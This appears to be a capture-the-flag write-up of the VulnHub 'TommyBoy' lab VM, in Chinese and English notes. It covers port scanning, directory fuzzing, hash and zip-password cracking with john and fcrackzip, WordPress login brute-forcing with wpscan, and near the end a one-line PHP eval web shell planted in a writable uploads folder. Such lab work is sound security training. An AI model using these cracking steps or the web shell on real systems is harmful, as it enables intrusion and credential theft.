TommyBoy
port scan
# Nmap 7.94SVN scan initiated Wed Feb 12 01:56:15 2025 as: nmap -sT --min-rate=8899 -p- -oN nmap_result/port 192.168.56.149
Nmap scan report for 192.168.56.149 (192.168.56.149)
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8008/tcp open http
# Nmap 7.94SVN scan initiated Wed Feb 12 01:56:50 2025 as: nmap -sT -sC -sV -O -p22,80,8008 -oN nmap_result/detils 192.168.56.149
Nmap scan report for 192.168.56.149 (192.168.56.149)
Host is up (0.0010s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a0:ca:62:ce:f6:7e:ae:8b:62:de:0b:db:21:3f:b0:d6 (RSA)
| 256 46:6d:4b:4b:02:86:89:27:28:5c:1d:87:10:55:3d:59 (ECDSA)
|_ 256 56:9e:71:2a:a3:83:ff:63:11:7e:94:08:dd:28:1d:46 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to Callahan Auto
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 4 disallowed entries
| /6packsofb...soda /lukeiamyourfather
|_/lookalivelowbridge /flag-numero-uno.txt
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: KEEP OUT
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:B8:5C:38 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
web
查看index.html源代码
Comment from Nick: backup copy is in Big Tom's home folder
Comment from Richard: can you give me access too? Big Tom's the only one w/password
Comment from Nick: Yeah yeah, my processor can only handle one command at a time
Comment from Richard: please, I'll ask nicely
Comment from Nick: I will set you up with admin access *if* you tell Tom to stop storing important information in the company blog
Comment from Richard: Deal. Where's the blog again?
Comment from Nick: Seriously? You losers are hopeless. We hid it in a folder named after the place you noticed after you and Tom Jr. had your big fight. You know, where you cracked him over the head with a board. It's here if you don't remember: https://www.youtube.com/watch?v=VUxOd4CszJ8
Comment from Richard: Ah! How could I forget? Thanks
robots.txt
curl http://192.168.56.149/robots.txt
User-agent: *
Disallow: /6packsofb...soda
Disallow: /lukeiamyourfather
Disallow: /lookalivelowbridge
Disallow: /flag-numero-uno.txt
第一个flag
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ curl http://192.168.56.149/flag-numero-uno.txt
This is the first of five flags in the Callhan Auto server. You'll need them all to unlock
the final treasure and fully consider the VM pwned!
Flag data: B34rcl4ws
查看视频里的内容prehistoric forest
http://192.168.56.149/prehistoricforest/
枚举wordpress
cmseek -u http://192.168.56.149/prehistoricforest/
第二个flag
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ curl http://192.168.56.149/prehistoricforest/thisisthesecondflagyayyou.txt
You've got 2 of five flags - keep it up!
Flag data: Z4l1nsky
继续查看wordpress
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ wget http://192.168.56.149/richard/shockedrichard.jpg
--2025-02-12 07:32:35-- http://192.168.56.149/richard/shockedrichard.jpg
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ strings shockedrichard.jpg
JFIF
Exif
Google
Copyright
1995 Paramount Pictures Corporation. Credit:
1995 Paramount Pictures / Courtesy: Pyxurz.
0220
ASCII
ce154b5a8e59c89732bc25d6a2e6b90b
ce154b5a8e59c89732bc25d6a2e6b90b爆破hash，spanky
输入密码spanky
有个FTP服务，在高端口，并且服务器似乎每小时上线 15 分钟，然后下线 15 分钟，再上线，再下线。
还存在nickburns账户只有ftp权限
└─$ nmap --min-rate=1000 -p- 192.168.56.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 06:33 EST
Nmap scan report for 192.168.56.149 (192.168.56.149)
Host is up (0.012s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8008/tcp open http
65534/tcp open unknown
sudo nmap -sT -sC -sV -O -p22,80,8008,65534 192.168.56.149
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 06:34 EST
Nmap scan report for 192.168.56.149 (192.168.56.149)
Host is up (0.0042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a0:ca:62:ce:f6:7e:ae:8b:62:de:0b:db:21:3f:b0:d6 (RSA)
| 256 46:6d:4b:4b:02:86:89:27:28:5c:1d:87:10:55:3d:59 (ECDSA)
|_ 256 56:9e:71:2a:a3:83:ff:63:11:7e:94:08:dd:28:1d:46 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 4 disallowed entries
| /6packsofb...soda /lukeiamyourfather
|_/lookalivelowbridge /flag-numero-uno.txt
|_http-title: Welcome to Callahan Auto
|_http-server-header: Apache/2.4.18 (Ubuntu)
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: KEEP OUT
65534/tcp open ftp ProFTPD 1.2.10
MAC Address: 08:00:27:B8:5C:38 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ftp
nickburns:nickburns账户
ftp 192.168.56.149 65534
Connected to 192.168.56.149.
220 Callahan_FTP_Server 1.3.5
Name (192.168.56.149:kali): nickburns
331 Password required for nickburns
Password:
230 User nickburns logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||11049|)
150 Opening ASCII mode data connection for file list
-rw-rw-r-- 1 nickburns nickburns 977 Jul 15 2016 readme.txt
226 Transfer complete
ftp> get readme.txt
To my replacement:
If you're reading this, you have the unfortunate job of taking over IT responsibilities
from me here at Callahan Auto. HAHAHAHAHAAH! SUCKER! This is the worst job ever! You'll be
surrounded by stupid monkeys all day who can barely hit Ctrl+P and wouldn't know a fax machine
from a flame thrower!
Anyway I'm not completely without mercy. There's a subfolder called "NickIzL33t" on this server
somewhere. I used it as my personal dropbox on the company's dime for years. Heh. LOL.
I cleaned it out (no naughty pix for you!) but if you need a place to dump stuff that you want
to look at on your phone later, consider that folder my gift to you.
Oh by the way, Big Tom's a moron and always forgets his passwords and so I made an encrypted
.zip of his passwords and put them in the "NickIzL33t" folder as well. But guess what?
He always forgets THAT password as well. Luckily I'm a nice guy and left him a hint sheet.
Good luck, schmuck!
LOL.
-Nick
存在一个子目录NickIzL33t
curl http://192.168.56.149:8008/NickIzL33t/
<H1>Nick's sup3r s3cr3t dr0pb0x - only me and Steve Jobs can see this content</H1><H2>Lol</H2>
史蒂夫·乔布斯 iPhone创始人，可能需要设置iPhone设备的UA,才能访问
Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/124.0.6367.111 Mobile/15E148 Safari/604.1
Well, you passed the dummy test
你通过了假人测试
But Nick's secret door isn't that easy to open.
但尼克的秘密之门并不那么容易打开。
Gotta know the EXACT name of the .html to break into this fortress.
必须知道 .html 的确切名称，才能闯入这座堡垒。
Good luck brainiac. 祝你好运
Lol 笑
-Nick -尼克
继续fuzz html页面
wfuzz -H "User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/124.0.6367.111 Mobile/15E148 Safari/604.1" -z file,/usr/share/wordlists/rockyou.txt --hc 404 --hh 270 http://192.168.56.149:8008/NickIzL33t/FUZZ.html
ffuf -w /usr/share/wordlists/rockyou.txt -u http://192.168.56.149:8008/NickIzL33t/FUZZ.html -c -v -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/124.0.6367.111 Mobile/15E148 Safari/604.1' -fs 94,270
________________________________________________
:: Method : GET
:: URL : http://192.168.56.149:8008/NickIzL33t/FUZZ.html
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/124.0.6367.111 Mobile/15E148 Safari/604.1
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 94,270
________________________________________________
[Status: 200, Size: 459, Words: 56, Lines: 13, Duration: 13ms]
| URL | http://192.168.56.149:8008/NickIzL33t/fallon1.html
* FUZZ: fallon1
http://192.168.56.149:8008/NickIzL33t/fallon1.html
http://192.168.56.149:8008/NickIzL33t/flagtres.txt
第三个flag
THREE OF 5 FLAGS - you're awesome sauce.
Flag data: TinyHead
http://192.168.56.149:8008/NickIzL33t/hint.txt
Big Tom,
Your password vault is protected with (yep, you guessed it) a PASSWORD!
And because you were choosing stupidiculous passwords like "password123" and "brakepad" I
enforced new password requirements on you...13 characters baby! MUAHAHAHAHAH!!!
Your password is your wife's nickname "bev" (note it's all lowercase) plus the following:
* One uppercase character
* Two numbers
* Two lowercase characters
* One symbol
* The year Tommy Boy came out in theaters
Yeah, fat man, that's a lot of keys to push but make sure you type them altogether in one
big chunk ok? Heh, "big chunk." A big chunk typing big chunks. That's funny.
LOL
-Nick
http://192.168.56.149:8008/NickIzL33t/t0msp4ssw0rdz.zip
生成密码本，爆破压缩包
crunch 13 13 -t bev,%%@@^1995 > pass.list
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ zip2john t0msp4ssw0rdz.zip > zip.hash
ver 2.0 efh 5455 efh 7875 t0msp4ssw0rdz.zip/passwords.txt PKZIP Encr: TS_chk, cmplen=332, decmplen=641, crc=DF15B771 ts=9AAD cs=9aad type=8
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ cat zip.hash
t0msp4ssw0rdz.zip/passwords.txt:$pkzip$1*1*2*0*14c*281*df15b771*0*47*8*14c*9aad*1111ae595866e07b84f85c20e92c72c25ed0d5bb719d8e06810dd37882daea9506f3f8b3f1a878c1dbeddbc09b2dc224cc622df1db947a021101c07f703ce09f32a1486fd2c49fce2c19354f546fae56e55bd30ce1b7962c74cba12dd83fe568e7519a1bda9c035986f98ab8a4af79d2344984f83106bea57349cab167fe2952ba4e26a170b916e8a604175602d4967d147a95e2252a7a55f9c44829e41fdf7f5757ead5d959a2d18ab90603a15aeaf1ba15d09e1467f10f6b7237545665b2cebaf7b8b671fa75d26027cde8607bcdca2d8beb790b5bcd3d51590e8fbe4f1f5117a432c99318c434124dfdabfa08157ab20e313f2c5b630684fe1e7d758e895d4b7d6b17d7fc470ac88acadea681c5dcc957b510c5faaed5605f852c6b74de1d20d25f664e82907b9f1a9e8eaa925dd7972bef07daea2be4cec338961754e66a6f155cba85e64080a86d181f*$/pkzip$:passwords.txt:t0msp4ssw0rdz.zip::t0msp4ssw0rdz.zip
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ john zip.hash --wordlist=pass.list
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bevH00tr$1995 (t0msp4ssw0rdz.zip/passwords.txt)
1g 0:00:00:01 DONE (2025-02-12 07:25) 0.8849g/s 13843Kp/s 13843Kc/s 13843KC/s bevH00re{1995..bevH01fm.1995
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
密码:bevH00tr$1995
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ fcrackzip -v -u -D -p pass.list t0msp4ssw0rdz.zip
found file 'passwords.txt', (size cp/uc 332/ 641, flags 9, chk 9aad)
checking pw bevC68za^1995
PASSWORD FOUND!!!!: pw == bevH00tr$1995
解压压缩包
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ unzip t0msp4ssw0rdz.zip
Archive: t0msp4ssw0rdz.zip
[t0msp4ssw0rdz.zip] passwords.txt password:
inflating: passwords.txt
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ cat pass
cat: pass: No such file or directory
┌──(kali㉿kali)-[~/vulnhub/TommyBoy]
└─$ cat passwords.txt
Sandusky Banking Site
------------------------
Username: BigTommyC
Password: money
TheKnot.com (wedding site)
---------------------------
Username: TomC
Password: wedding
Callahan Auto Server
----------------------------
Username: bigtommysenior
Password: fatguyinalittlecoat
Note: after the "fatguyinalittlecoat" part there are some numbers, but I don't remember what they are.
However, I wrote myself a draft on the company blog with that information.
Callahan Company Blog
----------------------------
Username: bigtom(I think?)
Password: ???
Note: Whenever I ask Nick what the password is, he starts singing that famous Queen song.
密码：fatguyinalittlecoat后面还有数字
枚举wordpress，有四个用户
michelle
richard
tom
tommy
wpscan --url http://192.168.56.149/prehistoricforest/ -U wordpress_users -P /usr/share/wordlists/rockyou.txt
tom:tomtom1
登录到后台
发现了后半部分的密码：1938!!
完整的密码：
Username: bigtommysenior
Password: fatguyinalittlecoat1938!!
shell as user
ssh登录到系统
第四个flag
bigtommysenior@CallahanAutoSrv01:~$ cat el-flag-numero-quatro.txt
YAY! Flag 4 out of 5!!!! And you should now be able to restore the Callhan Web server to normal
working status.
Flag data: EditButton
But...but...where's flag 5?
I'll make it easy on you. It's in the root of this server at /5.txt
提示，根目录存在5.txt
bigtommysenior@CallahanAutoSrv01:/$ ls -la
total 105
drwxr-xr-x 25 root root 4096 Jul 15 2016 .
drwxr-xr-x 25 root root 4096 Jul 15 2016 ..
-rwxr-x--- 1 www-data www-data 520 Jul 7 2016 .5.txt
查找可写文件
bigtommysenior@CallahanAutoSrv01:/$ find / -writable 2>/dev/null | grep -v 'proc' | grep -v 'sys' | grep -v 'dev'
/var/lib/php/sessions
/var/crash
/var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS/uploads
/var/www/html/index.html
/var/www/html/ca.jpeg
/var/lock
/var/tmp
bigtommysenior@CallahanAutoSrv01:/$ ls -l /var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS/
total 16
-rw-r--r-- 1 root root 1603 Jul 15 2016 backupload.php
-rw-r--r-- 1 root root 280 Jul 15 2016 index.html
-rw-r--r-- 1 root root 1615 Jul 15 2016 upload.php
drwxrwxrwx 2 www-data www-data 4096 Feb 12 10:51 uploads
uploads文件夹有写权限
bigtommysenior@CallahanAutoSrv01:/var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS/uploads$ cat 1.php
<?php eval($_POST[1]);
http://192.168.56.149:8008/NickIzL33t/P4TCH_4D4MS/uploads/1.php
.5.txt
FIFTH FLAG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
YOU DID IT!!!!!!!!!!!!!!!!!!!!!!!!!!!!
OH RICHARD DON'T RUN AWAY FROM YOUR FEELINGS!!!!!!!!
Flag data: Buttcrack
Ok, so NOW what you do is take the flag data from each flag and blob it into one big chunk.
So for example, if flag 1 data was "hi" and flag 2 data was "there" and flag 3 data was "you"
you would create this blob:
hithereyou
Do this for ALL the flags sequentially, and this password will open the loot.zip in Big Tom's
folder and you can call the box PWNED.
密码连接起来就是：B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack
解压LOOT.ZIP
bigtommysenior@CallahanAutoSrv01:~$ unzip LOOT.ZIP
Archive: LOOT.ZIP
[LOOT.ZIP] THE-END.txt password:
inflating: THE-END.txt
bigtommysenior@CallahanAutoSrv01:~$ cat THE-END.txt
YOU CAME.
YOU SAW.
YOU PWNED.
Thanks to you, Tommy and the crew at Callahan Auto will make 5.3 cajillion dollars this year.
GREAT WORK!
I'd love to know that you finished this VM, and/or get your suggestions on how to make the next
one better.
Please shoot me a note at 7ms @ 7ms.us with subject line "Here comes the meat wagon!"
Or, get in touch with me other ways:
* Twitter: @7MinSec
* IRC (Freenode): #vulnhub (username is braimee)
Lastly, please don't forget to check out www.7ms.us and subscribe to the podcast at
bit.ly/7minsec
</shamelessplugs>
Thanks and have a blessed week!
-Brian Johnson
7 Minute Security
到此5个flag全部拿到，靶机结束